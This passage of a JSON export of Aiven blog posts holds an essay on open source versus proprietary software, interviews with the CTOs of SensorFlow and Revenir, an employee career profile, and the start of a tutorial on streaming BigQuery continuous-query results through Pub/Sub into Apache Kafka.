incorporate some form of OSS.\n\nDespite these advancements in technology, awareness, and adoption, many businesses still struggle to build infrastructures that effectively harness the benefits of both.\n\n## Balancing Act: Unlocking OSS Potential\n\nThe decision between OSS and proprietary software holds significant importance, as it directly impacts business success. While both options have their merits and drawbacks, defaulting to proprietary software can stifle development, innovation, and progress - the very reasons OSS was initially developed.\n\nBusinesses often find themselves at a crossroads, unsure how to unlock the potential of OSS without compromising on the specialized (yet often costly) technical support from proprietary vendors.\n\n## Navigating Tensions\n\nThis dilemma stems from conflicting approaches. Businesses understand the importance of innovation for differentiation, yet they are wary of the perceived risks of deviating from the traditional path.\n\nOSS developers have responded to this tension by creating projects that act as gateways to commercial adoption. These projects build awareness among a vast user base, with the hope that some will become paying customers. Additionally, OSS tends to be more accessible for learning due to shared resources within its community, unlike the often restrictive learning processes of proprietary software.\n\nHowever, businesses sometimes only embrace OSS at a project level, hesitant to commit to broader usage. This tension between OSS and proprietary software is likely to persist unless there is a fundamental shift in approach.\n\n## The Role of Open Governance\n\nSuccessful OSS projects often thrive under open governance, as seen in the [Apache Software Foundation.](https://www.apache.org/) This democratic approach allows for broader participation in a project's development and strategic direction, attracting developers and industry players alike.\n\nThe [GitHub Open Source Guide](https://opensource.guide/leadership-and-governance/) provides a good summary of open governance. A framework that mirrors the decentralized nature of OSS can enhance its success and contribute to its growth alongside proprietary software at an enterprise level.\n\n## Addressing Freeloaders\n\nBoth OSS and proprietary software companies must shift their behavior for a more balanced ecosystem. OSS should establish effective governance models to prevent it from becoming inadvertently proprietary. Similarly, proprietary software companies should contribute back to OSS projects - a trend that is slowly gaining momentum according to our [own research](https://techmonitor.ai/technology/software/google-open-source-projects-microsoft-amazon-github#:~:text=Tech%20giants%20Microsoft%2C%20Google%20and,in%20the%20past%20six%20years).\n\nAt Aiven, we recognize the importance of this balance, which is why we have a dedicated Open Source Program Office (OSPO). Beyond code contributions, the OSPO fosters engagement with the OSS community through documentation, feedback, and community activities.\n\nThe prevalence of \"freeloaders,\" those who benefit from OSS without contributing, underscores the need for change. Businesses must invest in structures that enable their technologists to contribute back to OSS tools. Alternatively, partnering with organizations that ensure the sustainability of OSS projects is crucial for future-proofing their technology stack.\n\nIn conclusion, the coexistence of OSS and proprietary software presents both challenges and opportunities for businesses. Striking the right balance requires a shift in mindset and behavior from all stakeholders involved. Only then can we fully realize the potential of open source technologies in driving innovation and progress in the digital landscape.\n","categories":[{"_key":"53c165911073","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"},{"_key":"d59c622beaff","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"c95c4637b530","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-e122085b2447fe0cb74b5df46d22b06dc8fe561f-1200x628-png","_type":"reference"}},"publishedAt":"2024-03-14T15:42:19.119Z","seo":{"_type":"metaData","metaTitle":"Balancing Open Source \u0026 Proprietary Software | Aiven"},"slug":{"_type":"slug","current":"/blog/the-coexistence-of-open-source-and-proprietary-software"},"subtitle":"Discover how to build a technology infrastructure to get the best of both open source and proprietary software","title":"The Coexistence of Open Source and Proprietary Software: Striking the Balance"} {"__i18n_lang":"en","_createdAt":"2024-03-22T08:28:49Z","_id":"3272b585-3fa5-45fd-b560-c578e6ccbb55","_rev":"FsdEUX6qPquRWP6V15gd3Y","_type":"post","_updatedAt":"2024-03-25T07:32:11Z","authors":[{"_key":"e6bb7e8984b5","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"Like many entrepreneurs, Pagel’s step into business was borne out of a desire to do things differently. His founder journey began in 2016 in Singapore — a place he still calls home today. While working as a research associate at a university, he became frustrated with the science ecosystem and how it all worked. \n\nDespite a solid level of technical knowledge and knowhow, Pagel was seeking the best way to apply it. It was at this point he decided to join [Entrepreneur First ](https://www.joinef.com/)(EF) — an accelerator program that brings technically skilled individuals together on the basis that shared passions will create the technology-based businesses of tomorrow. This is where [SensorFlow](https://www.sensorflow.co/) was born, though the driving force behind EF is very much mirrored in how we operate at Aiven.\n\nPagel says, “I met my Co-Founder in the program. We gravitated towards doing IoT for buildings because we both had an IoT background. We figured out that hotels are a very underserved, niche market that could benefit from automation because of the dynamic usage of energy in those buildings.”\n\n## SensorFlow’s family of IoT devices\n\nBased on AI, SensorFlow combines wireless IoT solutions and automation to make smart buildings a reality. It enables individual buildings to be adapted, helping to unlock benefits in relation to sustainability, energy efficiency and cost savings.\n\nHe continues, “One of our early learnings was that, in the retrofit market, no two buildings are the same so you have to be adaptable. It’s why we built an entire family of IoT devices that can serve different use cases. It’s a modular-based approach which means we are able to quickly fit sensors into locations without a building needing to be shut down for any period of time.”\n\nThe sensors detect whether a room is occupied, if the windows are open or if the ambient temperature needs adjusting and make changes accordingly. Not only that but, with analytics and AI in the back end, it can inform bigger picture decision-making in terms of energy strategy or investment into building upgrades. \n\n## Sustainability and doing more with less\n\nWhen it comes to the broader impact of technology on sustainability, Pagel believes it is an amplifier, rather than a solution. He says, “One piece of technology isn't going to solve the world’s climate woes. It’s more about helping to make more of the good stuff and reduce the bad in the process.”\n\nThis is exactly our approach at Aiven. We want to find ways for both ourselves and our customers to become more sustainable by democratizing access to technology so new solutions can be created. You can read more about our sustainability vision and objectives [here](https://aiven.io/sustainability).\n\n![Max Pagel, Sensorflow](https://cdn.sanity.io/images/sczeoy4w/production/f9135b2343dc588a9fb412982360229dfb879e88-1200x628.png)\n\nHe goes on to say, “If you look at the big contributors to carbon emissions, buildings are right up there. For us, it’s about continuously looking at where the inefficiencies are and trying to do more with less. That’s where technology shines.”\n\nA point that brought us nicely on to the increasing role AI is playing in Max’s world.\n\n## Conversational AI models lowering barriers to entry\n\nAI is pivotal to SensorFlow and a topic that Pagel is particularly excited about. For example, Pagel expects that today’s conversational AI models will unlock big benefits, especially when it comes to training and development. He says, “Rather than people having to read through manuals and invest time in memorizing all the intricacies of how something works, I would love to see a product that explains itself to me and does the things I need to do.” Pagel sees it as the natural progression in the way in which we interact with machines and one that will lower the barriers to entry.\n\nHe goes on to say, “Big hotel chains have engineering teams and spend weeks training them up, only to see people leave and have to start the process over again. Institutional knowledge drops and huge amounts of time and money are wasted. Having the ability to make systems more accessible in a much shorter time will enable people to leverage the benefits of technology and do more with less.”\n\n :youtube[Pushing technologies boundaries to do more with less]{#Un61MMXQW-c} _Fireside Chat between our CTO and Co-Founder, Heikki Nousiainen and Max Pagel, CTO and Co-Founder, SensorFlow_\n\n## Open source: democratizing technology and making the world a better place\n\nJust as AI will help democratize access to technology, Pagel believes open source also enables businesses to access ways of doing things that may otherwise have been out of reach. This is a sentiment that many Aiven customers reflect. Pagel believes that one of the biggest accomplishments of open source is that it has democratized technologies without the control of privately owned companies. He says, “Open source has managed to create standards in certain areas and encouraged interoperability. It has made the world a better place.\n\n![Max Pagel, Sensorflow](https://cdn.sanity.io/images/sczeoy4w/production/f0ec00cce9a3f33c7d36fcb0563c4950dc666817-1200x628.png)\n\n“In a way it has given rise to a different corporate model — somewhat for profit, but generally for the greater good. Though it still needs to be run like it would run for a corporation because otherwise it's not going to be able to constantly deliver a software product that satisfies the requirements that are needed for a specific production.”\n\n## The advantages of a platform approach \n\nPagel also reflects on the advantages of looking at a platform approach in the technology sector, describing it as a ‘chicken and egg problem’. He cites an article which looked at what approach a start-up should take — best-in-class in a specific field or create a platform with a more broad offer? The conclusion was that the platform always wins because otherwise, businesses cannot keep up. They can only be best-in-class for so long so any advantage will shrink over time.\n\nThis is exactly the approach we take at Aiven by creating a platform that is more than a collection of open source services for streaming, storing and analyzing data. The platform ensures that all services run reliably and securely in the clouds of your choice, are observable, and can easily be integrated with each other and with external 3rd party tools. More on that [here](https://aiven.io/platform).\n\n![Max Pagel, Sensorflow](https://cdn.sanity.io/images/sczeoy4w/production/5be7cc756013590346738758b8841d5587699d01-1200x628.png)\n\nHe says, “I subscribe to the idea that the platform always wins. That doesn't mean that all businesses need to be a platform but they do need to find a platform to access the technology they need because it is incredibly hard to build a platform out of nothing. Finding strong partners is critical.”\n\n## The perfect platform partner to set a new standard in hospitality\n\nReflecting on technology specific to his industry , Pagel points to the challenge the hospitality sector is facing when it comes to finding the perfect platform partner. He says, “In the hospitality industry, technology moves faster than the assets that they are managing and there are so many areas for these businesses to manage — everything from finance, product, purchasing, asset management, property management, staff management, engineering management and many others. It means we’re in the middle of a platform war to see who emerges and sets the new standard.”\n\n","categories":[{"_key":"55f6037ddbe1","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"ad56060abed7","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"},{"_key":"05cb646d1ea8","_ref":"5kZZK0B9b8ouIUDgjaDOmZ","_type":"reference"},{"_key":"607527e89727","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-caa9fb78d0905aff90f0fb28789d2eccb66fcbfe-1200x628-png","_type":"reference"}},"publishedAt":"2024-03-25T07:30:00.000Z","related":[{"_key":"03f072dc9e46","_ref":"b8290949-b337-4c6f-8c24-d185ea77aa6c","_type":"reference"},{"_key":"3f61641965fe","_ref":"f9b3734c-8b0c-432e-b6f9-382e0311ae0d","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/sensorflow-amplifying-advancement-with-ai"},"subtitle":"SensorFlow’s Co-Founder and CTO on using technology to do more with less and why the platform approach will always win","title":"Max Pagel, SensorFlow: Amplifying Advancement with AI"} {"__i18n_lang":"en","_createdAt":"2023-12-15T09:39:13Z","_id":"b8290949-b337-4c6f-8c24-d185ea77aa6c","_rev":"Do3156plRwIXmiihO3xiZL","_type":"post","_updatedAt":"2023-12-20T14:09:43Z","authors":[{"_key":"cb651304067a","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"Brian Wagner’s career in IT started in a way that is familiar to many – as a 15-year old with an indelible interest in computers and software. Where Brian differs from many is that by 16 he was already a professional, building solutions that people would pay for. \n\nAnd what Brian learnt when he was 16 applies just as much today as it did then: it is less about the actual technology and more about what the technology does for people that matters. It’s a principle he has applied in every role at every company he’s worked at, seeing himself as a problem solver as much as an engineer. This ethos has guided his journey to his current position as CTO of Revenir and it’s a way of thinking we fully endorse at Aiven.\n\n![Brian Wagner Revenir](https://cdn.sanity.io/images/sczeoy4w/production/e09858f27d27718d69de269f4a31c7c31134f4dc-6000x4000.jpg)\n\n## Security, compliance and understanding regulators\nRevenir is a London-based fintech that automates tax recovery through partnerships with banks, governments and digital receipt companies. Revenir’s technologies can be implemented by banks to generate revenue and add value to their own digital interface, which places them in a strict regulatory environment, where highly sensitive data is shared every day. \n\nIn his position as CTO, therefore, Brian is now very much concerned with solving cybersecurity problems, and ensuring that both Revenir’s services and its customers are compliant with a number of national and international regulations. \n\nAlthough there are particular challenges that apply to the financial sector, Brian sees his role as similar to that of his peers in other heavily regulated sectors. Revenir has to satisfy its customers, but those customers have to satisfy the regulators - which means, ultimately, that Revenir has to satisfy them too. For some, that’s just a box-ticking exercise. But for Brian, it’s about understanding what those regulators are trying to achieve and what the implications of that are. \n\n“That’s the basis for understanding the potential risk that actual customers face, or feel they could face, when adopting a new product or solution,” he says. “We can then build in all the necessary mitigations that will assure them that the product is safe to use, and that their data will be safe at every stage.” \n\n::youtube[The power of collaboration and partnership]{#BunNkOHq8gI}\n_Fireside Chat between our CEO, Oskari Saarenmaa and Brian Wagner, CTO at Revenir_\n\n## Collaboration and open source for better solutions\nBrian’s work at Revenir also exemplifies his core beliefs in other ways, notably the need for collaboration and partnership. “Security and compliance often feel like areas that are in deep competition,” he says. “And certainly strong security measures can create a competitive edge for a business. But as leaders, we can collaborate, develop best practice, set industry standards and inspire others to follow suit.” \n\nBrian acknowledges that there is a fine line to be negotiated. Sharing intimate secrets has not traditionally been a recipe for business success, after all. But in the case of security and compliance, if the total pool of knowledge, and problem-solving experience is wide and deep then it helps more businesses to succeed. \n\nRevenir uses the Aiven open source data platform, which was not an accident. Brian believes that open source technology represents the ultimate form of collaboration – not least because it enables greater co-operation and idea sharing between individuals both within a company and across companies. \n\n“The problems we have to solve may appear to be industry-specific on the surface, but they often have root causes and solutions that are common to a far wider community of potential experts,” he says. “We may have similar principles on things like access management, or firewalls, or whatever it is. Using open source means we can collaborate these things. We can learn from each other. I firmly believe that leaders are also learners – and if we work in a common open source environment, it is easier to build better, more innovative and yet safer products.” \n\nOpen source also plays a key role in encouraging a culture of innovation in security and compliance, empowering teams to think beyond conventional boundaries. \n\n“As a technology leader it’s my job to make sure that everybody that contributes – engineers and managers and architects – understands the common goal of the business. I want to empower my technical teams to understand where the business is going so they can bring their own ideas and experience to the solution, and embed security principles at the beginning of the development process.” Inevitably that leads to better job satisfaction, but it’s also the path to faster and more sustainable growth. \n\n![Brian Wagner Social Banner 2](https://cdn.sanity.io/images/sczeoy4w/production/9cd24fc90e6aa1eb6744739a54d6f74716b649da-1200x628.png)\n\n## Future vision – and building on basics\nAs to what comes next, Revenir is at the forefront of using artificial intelligence (AI) to support its customers – and as far as the security function goes, this is just the beginning. As Brian points out, one of the common threads about security in any technical industry is being able to detect what's normal – and what is not. \n\n“AI is fantastic for that. It excels at pattern recognition, even the smallest deviations, so it can spot threats as they arise. But it’s also good at following rules, which is the fundamental principle of compliance, so it can really deliver there too. And if it's got some understanding of your architecture, and your service, it can proactively fix and problems – or at least flag them up. And I’m sure generative AI and large language models will improve cybersecurity knowledge overall, which helps everyone.” \n\nNonetheless, the need for the basics is never going away. “Things like access management, identity management – they’re still the bedrock of security, especially as we move away from the traditional data center world to a more service-oriented environment like Aiven’s, where access and identity management is key.\n\n“However sophisticated our technology is, and however well we mitigate risks in its design, we still put it in the hands of humans – who will always be the weakest link. Even experienced CTOs make mistakes. I think if you’re going to be a tech leader, you need to remember your own frailties now and then. You’ll develop safer services – and protect more customers in the long run.”\n","categories":[{"_key":"60a3a0f9cd49","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"f3968b5f7bdb","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"d3621e84-f1a2-41c1-bf9b-e92e70b231ef","_type":"reference"},"ctaText":"Read the blog","previewImage":{"_type":"mainImage","asset":{"_ref":"image-a36aad98bd892c65b20612ec2d1c5018bbcf7aeb-1200x628-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Leader Insights, Agents of Change, CxO, CTO, CIO, Customer Story, Security, Open Source, AI","asset":{"_ref":"image-a36aad98bd892c65b20612ec2d1c5018bbcf7aeb-1200x628-png","_type":"reference"}},"publishedAt":"2023-12-14T07:13:00.000Z","related":[{"_key":"a8a1366b5d13","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"},{"_key":"01f7118b03ed","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"be85c2f28b9a","_ref":"77f254fc-fc3a-4fc6-9592-a4a2530c36b6","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Securing Fintech Futures: Brian Wagner, Revenir's CTO, Pioneers Open Source Collaboration and AI-Driven Solutions in Regulatory Compliance.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-a36aad98bd892c65b20612ec2d1c5018bbcf7aeb-1200x628-png","_type":"reference"}},"metaTitle":"Brian Wagner, Revenir: A Collaborative CTO "},"slug":{"_type":"slug","current":"/blog/brian-wagner-revenir-a-collaborative-cto"},"subtitle":"Securing Fintech Futures: Brian Wagner, Revenir's CTO, Pioneers Open Source Collaboration and AI-Driven Solutions in Regulatory Compliance.","title":"Brian Wagner, Revenir: A Collaborative CTO "} {"__i18n_lang":"en","_createdAt":"2023-10-27T10:41:05Z","_id":"5f3fb605-8886-4d42-84ac-96a3c6b8cbbb","_rev":"yGYi2HTu7doJg1fO7hJxnx","_type":"post","_updatedAt":"2023-11-02T10:36:32Z","authors":[{"_key":"18132d16e6a1","_ref":"fa265a2a-831a-4862-a7d7-42065a008cc6","_type":"reference"}],"body":"Having a close relationship with family has always been important to Galo. His family has been his biggest influence, they provide unconditional love and push him to be the best version of himself, encouraging him to believe in all of his dreams. \n\nGalo is the youngest son in his family. At the age of 18, he courageously decided to move from hometown Ecuador to Belgium to learn French. Seven years later, he still finds it difficult to be away from family (only seeing them once a year). \n\n“My family never held me back and always gave me the support and love to follow my dreams, especially my older brother. We always look back at that moment and they always repeat - you were very brave to move abroad so far at such a young age, not sure If I could have done it.”\n\nIt’s thanks to this wanderlust that he’s had the opportunity to live in multiple European countries; from Belgium, to France, to Italy, and now Germany. Making friends from different cultures and languages, all of these experiences have helped shape him to be the person he is today.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/ef3dd199ff65a083d26aab28f654b31ad703bdca-743x779.png?w=450)\n\n*Galo and his older brother Ruben in Barcelona*\n\n## Please tell us a bit about yourself.\n\nI like to live my life under two mottos: “The biggest risk is not taking any risk” and “If you’re not failing, you’re not learning.”\n\n## What brought you to Aiven? \n\nI joined Aiven 2 years ago. I wanted to be a part of the start-up hypergrowth, and challenge myself with a really cool product! I also really enjoyed the logo and the core values at Aiven.\n\n## Tell us about your career journey at Aiven.\n\nI remember we were still under 300 employees and just a few days after we passed that mark. I joined as an SDR (Sales Development Representative) to help build the EMEA SDR team, and develop some processes to make outbound lead generation successful. It has been a rocky road, but fast forward to last [Crab Week (2023)](https://aiven.io/blog/crab-week-2023-wrap-up) in Portugal, I received the sales award of [SDR of the year](https://www.linkedin.com/posts/galo-freile_crabweek2023-activity-7057731709068275712-FFmg?utm_source=share\u0026utm_medium=member_desktop) for my consistent overperformance throughout multiple quarters. Learning a lot on the way, this journey led me to a promotion just after Crab Week as an Account Executive. Indeed, a pretty nice 2 year journey, and can’t wait for what the future holds!\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/0a11d0aee91e5f562e4f077ea8da5fc1f1ad5634-630x567.png?w=450)\n\n*Winner - SDR of the year 2023!*\n\n\n## What path led you to being an Account Executive? \n\nMy journey to becoming an Account Executive has been shaped mostly by my ability to connect with people, and genuine interest in helping individuals and companies overcome their challenges. Living in various European cities and countries has helped me with my communication skills and understanding of multiple cultural perspectives.\n\n## What do you love most about your role? (and not love, we're sure it's not all good!) \n\nWhat I love most about being an Account Executive is the opportunity to build meaningful relationships with clients and understand their unique needs. I enjoy being able to tailor solutions that not only address their current problems but also contribute to their long term success. The thrill of securing new partnerships and the satisfaction of seeing clients thrive because of our collaboration are incredibly rewarding aspects of this position.\n\nOn the other hand, what I find challenging at times is balancing the multiple tasks at hand and demands of different clients simultaneously. It can be a juggling act, but it's also a learning experience that continually pushes me to improve my time management and communication skills.\n\n## Tell us about a typical day as an Account Executive at Aiven. \n\nI start every work day next to a cup of coffee. From there, I have multiple tasks to accomplish. Most days vary due to the unpredictable and unexpected challenges that arise. If I had to summarize, it would look like this:\n\n**Morning preparation (next to a cup of coffee)**\n\n- I start the day by reviewing my schedule and prioritizing tasks (could be new or existing customers). \n\n- Checking emails and messages to address any urgent client inquiries or requests.\n\n**Meetings and presentations**\n\n- Scheduling and conducting meetings with customers (mostly virtually). \n\n- Collaborating with colleagues, such as SAs or team members to exchange opinions on the opportunities.\n\n**Negotiations and proposals**\n\n- Collaborate with clients to negotiate terms, pricing, and contracts. \n\n- Prepare proposals and quotes. \n\n- Follow up on proposals and provide additional information or clarification as needed.\n\n**Client relationship management**\n\n- Build and nurture strong relationships with clients. \n\n- Address and resolve any client issues or concerns promptly and effectively.\n\n- Seek opportunities to upsell additional services to existing clients.\n\n**Continuous learning and development**\n\n- I always try to stay up-to-date with the latest sales leaders and industry knowledge.\n\n## What is your team responsible for? \n\nMy team (and the whole Sales function) is responsible for identifying potential customers, managing relationships with existing customers to ensure their needs are met, and increasing revenue.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/b8aaf6c5b5fb9b3eb6bba9f7f6353350334fae4e-6048x4024.jpg?w=450)\n\n*Galo and the SDR Team in Portugal at Crab Week 2023*\n\n## What kind of person would do well on your team?\n\nThe first thing that comes to mind is someone that is able to adapt rapidly to changing environments. As there is almost no typical day in Sales, with new tasks, customer requests, and changes, someone that is able to adapt would do great in the team. Also someone that enjoys building relationships and helping customers achieve their goals. A person that enjoys challenges and is very goal-oriented. Sales is target-driven, so being motivated by and focused on achieving sales goals is essential.\n\n## As a member of our growing Sales function, what advice would you give to new Crabs joining this department?\n\n1. Sales is a field that is changing constantly so don’t be afraid to experiment. One of Aiven’s core values is openness which really means that we’re able to try different things and take ownership of a project from top to bottom. It’s always a great idea to share and exchange insights, ideas, and tips with your colleagues.\n\n2. Time-management and prioritization of tasks. It’s easy to get lost between managing existing customers, new customers, customer demands, and internal processes. So being able to have a weekly plan and tasks that need to be accomplished can help you prioritize your time in the right way. \n\n3. Build a strong customer relationship by having a customer-centric approach! Building relationships with customers will create trust and credibility. When customers know you, trust your recommendations, and believe that you have their best interests at heart, they are more likely to do business with you!\n\n## What are you most excited about for Aiven’s future? \n\nBeing at Aiven for 2 years, I’ve seen a lot of changes from a start-up to a scale up. Aiven’s future is quite exciting! Mainly the new direction we have taken in the platform side - expanding our services and features to match the needs and problems of customers. This will allow current and new customers to meet their goals and be more efficient.\n\nThanks, Galo for the insightful chat!\n\nInterested in joining the Cast? Check out our [open positions](https://aiven.io/careers). And keep your eyes peeled (sideways) on the blog as we continue to meet more of our clawsome Crabs.\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). ","categories":[{"_key":"4b9c17b62d0d","_ref":"8fa4c846-517b-4a03-87e3-aa28ad26cce6","_type":"reference"},{"_key":"69adb4c64cd1","_ref":"44deb165-f752-4b24-903a-c488e0b6012c","_type":"reference"},{"_key":"0f3adce6a0fb","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"Galo Freile, Commercial Account Executive, Aiven, Aiven logo, Interview, Career progression, Growth, Career in Sales","asset":{"_ref":"image-075c43cf00ace671c50b03ef5e00a1c60721c21f-752x405-png","_type":"reference"}},"publishedAt":"2023-11-02T10:30:04.413Z","related":[{"_key":"fdc6c29916f1","_ref":"76e20acf-16a0-494f-8632-622f1d945ed5","_type":"reference"},{"_key":"05b3ed1ce4f7","_ref":"c3317e7b-b935-43d1-9665-8169a5ebdf91","_type":"reference"},{"_key":"0ed185471953","_ref":"cc563d6c-d018-4a2f-9d79-1b42f3117863","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Meet Galo Freile, a Commercial Account Executive based in Berlin. We learn about his journey to Aiven, a recent promotion and how he became our SDR of the year! ","metaImage":{"_type":"mainImage","alt":"Galo Freile, Commercial Account Executive, Aiven, Aiven logo, Interview, Career progression, Growth, Career in Sales","asset":{"_ref":"image-075c43cf00ace671c50b03ef5e00a1c60721c21f-752x405-png","_type":"reference"}},"metaTitle":"My journey to Aiven: Galo Freile, Commercial Account Executive "},"slug":{"_type":"slug","current":"/blog/my-journey-to-aiven-galo-freile"},"subtitle":"Meet Galo Freile, a Commercial Account Executive based in Berlin. We learn about his journey to Aiven, a recent promotion and how he became our SDR of the year! ","title":"My journey to Aiven: Galo Freile, Commercial Account Executive "} {"__i18n_lang":"en","_createdAt":"2024-08-05T08:10:21Z","_id":"608035ae-116a-44bf-8967-4ca9e0fba7ed","_rev":"5y7swPKAcYPWMoG0mu4yz7","_type":"post","_updatedAt":"2024-08-08T06:56:08Z","authors":[{"_key":"7444f1dd4770","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"},{"_key":"636f68305d1b","_ref":"e98895f5-efb2-4876-925b-f5dfac32abf2","_type":"reference"}],"body":"BigQuery enables customers to quickly generate insights about their data. Its native integration with AI tools allows organizations to transform row assets into valuable information that can be used to generate more accurate decisions, streamlining companies' growth.\n\nTraditionally, these insights would only have been available to operational workflows using a batch approach, causing a delay between when the insight is created and when it can be used. Now there's a native option to bring this enhanced data back to streaming workflows with [BigQuery continuous queries](https://cloud.google.com/bigquery/docs/continuous-queries-introduction).\n\nThis allows companies to benefit from curated and enriched BigQuery datasets in real time, feeding the data into streaming tools like Aiven for Apache Kafka®, which makes the enriched information available to downstream systems. \n\nAiven's data and AI platform provides unified solutions for handling data, and is a great complement to the use of Google BigQuery. Aiven for Apache Kafka is the natural choice for ingesting streaming data and delivering them to downstream data solutions in real time, including BigQuery. Until recently getting data from BigQuery back into the Aiven platform required batch techniques. Now, with continuous query, the loop is closed, and Aiven and BigQuery can act as fully integrated partners. You can start a [free Aiven trial directly in the Google Marketplace](https://console.cloud.google.com/marketplace/product/aiven-public/aiven?hl=en).\n\nWith continuous queries, Google introduces the ability to extract real time data from Google Cloud BigQuery. The data can be written back out to Google Pub/Sub and then to Apache Kafka, enabling the Reverse ETL pattern and allowing users to get real-time insights into their BigQuery data.\n\n## What is Reverse ETL?\n\nThe ETL (extract, transform, load) pattern is a powerful approach used to take operational data and make it available in analytics storage such as Google Cloud BigQuery.\n\nAiven customers are familiar with using Apache Kafka® as a key component in this pattern. The **Extract** typically uses an Apache Kafka Connector to extract data from a data source such as Aiven for PostgreSQL®, Aiven for Opensearch® or Aiven for Valkey. **Transform** describes the schema and data refinement stage, adjusting the data to a form suitable for **Load** into BigQuery itself. BigQuery is chosen because of its sophisticated capabilities and scalability, and can be thought of acting as a data warehouse as well as a powerful analytics engine.\n\nTypical use cases include Retail, E-commerce and Gaming. For more information, see last year’s article [Shorten the path to insights with Aiven for Apache Kafka and Google BigQuery](https://cloud.google.com/blog/products/data-analytics/stream-data-with-open-source-kafka-by-aiven-analyze-with-bigquery). \n\nReverse ETL is then the process that allows *extracting* information from analytics storage, generally into business applications, in order to feed downstream applications with the insights obtained from the analytics platform.\n\nReverse ETL is a powerful tool to leverage data in operational systems for enhanced decision making and improved customer experiences. It democratizes data and makes insights available to non-technical users directly in their operational tools, like CRMs, marketing automation platforms, or support ticketing systems, enabling them to make data-driven decisions without relying on data teams. For example, sales and marketing teams can access a 360-degree view of customers, including purchase history, website interactions, and demographic data, leading to more personalized campaigns and targeted communication.\n\n## What is BigQuery continuous queries?\n\n[BigQuery continuous queries](https://cloud.google.com/bigquery/docs/continuous-queries-introduction) provide customers with the ability to run continuously processing SQL statements that can analyze, transform, and externally replicate data as new events arrive into BigQuery in real time. This approach extends BigQuery’s real-time capabilities to handle continuous streams of input, analysis, and output; which can be leveraged to construct event-driven actionable insights, real-time machine learning inference, operational reverse ETL pipelines, and more. You can insert the output rows produced by a continuous query into a BigQuery table or export them to Pub/Sub or Bigtable. \n\nThis essentially transforms BigQuery from the analytical data sink at the end of data’s architectural journey into an operational and event-driven data processing engine in the middle of an application’s decision logic, all using the user-friendly language of SQL.\n\n## How Aiven users benefit from this integration\n\nAiven users already benefit from the Aiven platform’s stream, store and serve approach. \nThey are already using Kafka as a backbone to move data between systems, such as PostgreSQL, MySQL, OpenSearch and Valkey. Until now, it has been possible to stream data from Kafka to BigQuery, but not to stream it out. The new capability fills that gap, allowing Google BigQuery users to take full advantage of the Aiven Platform.\n\n![Data into BigQuery, continuous quries into Pub/Sub, then via connector into Aiven for Kafka, and then into other services](https://cdn.sanity.io/images/sczeoy4w/production/b419b65d08e2aa4170dd1f52d99c46b16ada1f6f-2302x808.png)\n\n## How BigQuery continuous query works with Aiven for Apache Kafka\n\n\n1. Aiven for Apache Kafka Connect uses a service account to connect and consume data from Pub/Sub, you can configure a single service account for running continuous queries and consume from Pub/Sub by assigning relevant permissions to the user. You can configure the service account with permissions listed [here](https://cloud.google.com/bigquery/docs/export-to-pubsub\\#service\\_account\\_permissions\\_2). Make sure you create a JSON key to configure the connection in Aiven in the later step.\n\n2. To run continuous queries, BigQuery requires a slot reservation with a “**CONTINUOUS**” assignment type. Follow steps [here](https://cloud.google.com/bigquery/docs/continuous-queries\\#create\\_a\\_reservation) if you are not sure how to create a reservation.\n\n3. Navigate to the [Pub/Sub](https://console.cloud.google.com/cloudpubsub/topic) topic page and click on the “Create Topic” button on the top center of the page, and provide a name (say ‘*continuous\\_query\\_topic*’, also create a default subscription if needed).\n\n4. Navigate to the [BigQuery](https://console.cloud.google.com/bigquery) service page and design the query as an [export to pub/sub](https://cloud.google.com/bigquery/docs/export-to-pubsub\\#export-pubsub). \n\t\n ```\n EXPORT DATA\n OPTIONS (\n format = 'CLOUD_PUBSUB',\n uri = 'https://pubsub.googleapis.com/projects/\u003cyour project_id\u003e/topics/continuous_query_topic'\n ) AS\n (\n \u003cYour Query\u003e\n );\n ```\n\n In the More Settings as shown below, select the **query mode** as **continuous query** and in the **query settings** select the service account created above to run the query. You can also choose the timeout required, if any. \n\n ![Select query mode as continuous query, and chose the service account](https://cdn.sanity.io/images/sczeoy4w/production/d284c1e3dfcadf6f2fb0caef21173a51d30f57a0-1898x1202.png)\n\n Before executing the query, make sure the below steps are done to ensure data continuously generated can be captured by the Aiven Pub/Sub connector.\n\n5. Once logged into the Aiven console, create an Aiven for Apache Kafka service.\n\n ![Create a new Aiven for Apache Kafka service](https://cdn.sanity.io/images/sczeoy4w/production/9adeec5d11d9a8e3c638ec4640633531b2932375-1999x1036.png)\n\n6. Select the Google Cloud region most convenient for your use case. \n\n ![Select the Google Cloud 